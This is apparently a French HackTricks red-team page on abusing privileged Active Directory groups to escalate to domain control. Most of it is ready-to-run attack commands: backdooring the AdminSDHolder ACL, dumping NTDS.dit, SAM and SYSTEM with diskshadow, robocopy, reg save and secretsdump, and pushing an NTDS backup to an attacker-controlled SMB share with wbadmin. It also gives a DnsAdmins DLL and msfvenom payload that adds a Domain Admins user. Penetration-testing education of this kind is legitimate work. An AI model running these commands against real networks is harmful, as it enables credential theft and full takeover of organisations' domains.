Groupes Privilégiés
Reading time: 12 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Groupes Bien Connus avec des Privilèges d'Administration
- Administrateurs
- Administrateurs de Domaine
- Administrateurs d'Entreprise
Opérateurs de Compte
Ce groupe est habilité à créer des comptes et des groupes qui ne sont pas des administrateurs sur le domaine. De plus, il permet la connexion locale au Contrôleur de Domaine (DC).
Pour identifier les membres de ce groupe, la commande suivante est exécutée :
Get-NetGroupMember -Identity "Account Operators" -Recurse
Ajouter de nouveaux utilisateurs est autorisé, ainsi que la connexion locale à DC01.
Groupe AdminSDHolder
La liste de contrôle d'accès (ACL) du groupe AdminSDHolder est cruciale car elle définit les autorisations pour tous les "groupes protégés" au sein d'Active Directory, y compris les groupes à privilèges élevés. Ce mécanisme garantit la sécurité de ces groupes en empêchant les modifications non autorisées.
Un attaquant pourrait exploiter cela en modifiant l'ACL du groupe AdminSDHolder, accordant des autorisations complètes à un utilisateur standard. Cela donnerait effectivement à cet utilisateur un contrôle total sur tous les groupes protégés. Si les autorisations de cet utilisateur sont modifiées ou supprimées, elles seraient automatiquement rétablies dans l'heure en raison de la conception du système.
Les commandes pour examiner les membres et modifier les autorisations incluent :
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Un script est disponible pour accélérer le processus de restauration : Invoke-ADSDPropagation.ps1.
Pour plus de détails, visitez ired.team.
AD Recycle Bin
L'appartenance à ce groupe permet la lecture des objets Active Directory supprimés, ce qui peut révéler des informations sensibles :
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Accès au Contrôleur de Domaine
L'accès aux fichiers sur le DC est restreint à moins que l'utilisateur ne fasse partie du groupe Server Operators
, ce qui modifie le niveau d'accès.
Élévation de Privilèges
En utilisant PsService
ou sc
de Sysinternals, on peut inspecter et modifier les permissions des services. Le groupe Server Operators
, par exemple, a un contrôle total sur certains services, permettant l'exécution de commandes arbitraires et l'élévation de privilèges :
C:\> .\PsService.exe security AppReadiness
Cette commande révèle que les Server Operators
ont un accès complet, permettant la manipulation des services pour des privilèges élevés.
Backup Operators
L'appartenance au groupe Backup Operators
donne accès au système de fichiers DC01
en raison des privilèges SeBackup
et SeRestore
. Ces privilèges permettent la traversée de dossiers, le listing et la copie de fichiers, même sans autorisations explicites, en utilisant le drapeau FILE_FLAG_BACKUP_SEMANTICS
. L'utilisation de scripts spécifiques est nécessaire pour ce processus.
Pour lister les membres du groupe, exécutez :
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Attaque Locale
Pour tirer parti de ces privilèges localement, les étapes suivantes sont employées :
- Importer les bibliothèques nécessaires :
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Activer et vérifier
SeBackupPrivilege
:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Accéder et copier des fichiers à partir de répertoires restreints, par exemple :
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
L'accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données NTDS.dit
, qui contient tous les hachages NTLM pour les utilisateurs et les ordinateurs du domaine.
Using diskshadow.exe
- Créez une copie de l'ombre du lecteur
C
:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Copier
NTDS.dit
à partir de la copie de sauvegarde :
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternativement, utilisez robocopy
pour la copie de fichiers :
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Extraire
SYSTEM
etSAM
pour la récupération des hachages :
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Récupérer tous les hachages de
NTDS.dit
:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Utilisation de wbadmin.exe
- Configurez le système de fichiers NTFS pour le serveur SMB sur la machine de l'attaquant et mettez en cache les identifiants SMB sur la machine cible.
- Utilisez
wbadmin.exe
pour la sauvegarde système et l'extraction deNTDS.dit
:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Pour une démonstration pratique, voir VIDÉO DE DÉMO AVEC IPPSEC.
DnsAdmins
Les membres du groupe DnsAdmins peuvent exploiter leurs privilèges pour charger une DLL arbitraire avec des privilèges SYSTEM sur un serveur DNS, souvent hébergé sur des contrôleurs de domaine. Cette capacité permet un potentiel d'exploitation significatif.
Pour lister les membres du groupe DnsAdmins, utilisez :
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Exécuter un DLL arbitraire
Les membres peuvent faire en sorte que le serveur DNS charge un DLL arbitraire (soit localement, soit à partir d'un partage distant) en utilisant des commandes telles que :
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Redémarrer le service DNS (ce qui peut nécessiter des autorisations supplémentaires) est nécessaire pour que le DLL soit chargé :
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Pour plus de détails sur ce vecteur d'attaque, référez-vous à ired.team.
Mimilib.dll
Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des shells inversés. Consultez ce post pour plus d'informations.
Enregistrement WPAD pour MitM
Les DnsAdmins peuvent manipuler les enregistrements DNS pour effectuer des attaques Man-in-the-Middle (MitM) en créant un enregistrement WPAD après avoir désactivé la liste de blocage des requêtes globales. Des outils comme Responder ou Inveigh peuvent être utilisés pour usurper et capturer le trafic réseau.
Lecteurs de journaux d'événements
Les membres peuvent accéder aux journaux d'événements, trouvant potentiellement des informations sensibles telles que des mots de passe en clair ou des détails d'exécution de commandes :
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Permissions Windows d'Exchange
Ce groupe peut modifier les DACL sur l'objet de domaine, accordant potentiellement des privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le dépôt GitHub Exchange-AD-Privesc.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Administrateurs Hyper-V
Les administrateurs Hyper-V ont un accès complet à Hyper-V, ce qui peut être exploité pour prendre le contrôle des contrôleurs de domaine virtualisés. Cela inclut le clonage de DCs en direct et l'extraction des hachages NTLM du fichier NTDS.dit.
Exemple d'exploitation
Le service de maintenance de Mozilla Firefox peut être exploité par les administrateurs Hyper-V pour exécuter des commandes en tant que SYSTEM. Cela implique de créer un lien dur vers un fichier SYSTEM protégé et de le remplacer par un exécutable malveillant :
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Note : L'exploitation des liens durs a été atténuée dans les mises à jour récentes de Windows.
Gestion de l'organisation
Dans les environnements où Microsoft Exchange est déployé, un groupe spécial connu sous le nom de Gestion de l'organisation détient des capacités significatives. Ce groupe a le privilège d'accéder aux boîtes aux lettres de tous les utilisateurs du domaine et maintient un contrôle total sur l'Unité d'Organisation 'Groupes de sécurité Microsoft Exchange'. Ce contrôle inclut le groupe Exchange Windows Permissions
, qui peut être exploité pour l'escalade de privilèges.
Exploitation des privilèges et commandes
Opérateurs d'impression
Les membres du groupe Opérateurs d'impression sont dotés de plusieurs privilèges, y compris le SeLoadDriverPrivilege
, qui leur permet de se connecter localement à un contrôleur de domaine, de l'éteindre et de gérer les imprimantes. Pour exploiter ces privilèges, surtout si SeLoadDriverPrivilege
n'est pas visible dans un contexte non élevé, il est nécessaire de contourner le Contrôle de compte d'utilisateur (UAC).
Pour lister les membres de ce groupe, la commande PowerShell suivante est utilisée :
Get-NetGroupMember -Identity "Print Operators" -Recurse
Pour des techniques d'exploitation plus détaillées liées à SeLoadDriverPrivilege
, il convient de consulter des ressources de sécurité spécifiques.
Utilisateurs de Bureau à Distance
Les membres de ce groupe ont accès aux PC via le Protocole de Bureau à Distance (RDP). Pour énumérer ces membres, des commandes PowerShell sont disponibles :
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Des informations supplémentaires sur l'exploitation de RDP peuvent être trouvées dans des ressources de pentesting dédiées.
Utilisateurs de gestion à distance
Les membres peuvent accéder aux PC via Windows Remote Management (WinRM). L'énumération de ces membres est réalisée par :
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Pour les techniques d'exploitation liées à WinRM, une documentation spécifique doit être consultée.
Opérateurs de serveur
Ce groupe a des permissions pour effectuer diverses configurations sur les contrôleurs de domaine, y compris des privilèges de sauvegarde et de restauration, le changement de l'heure système et l'arrêt du système. Pour énumérer les membres, la commande fournie est :
Get-NetGroupMember -Identity "Server Operators" -Recurse
Références
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.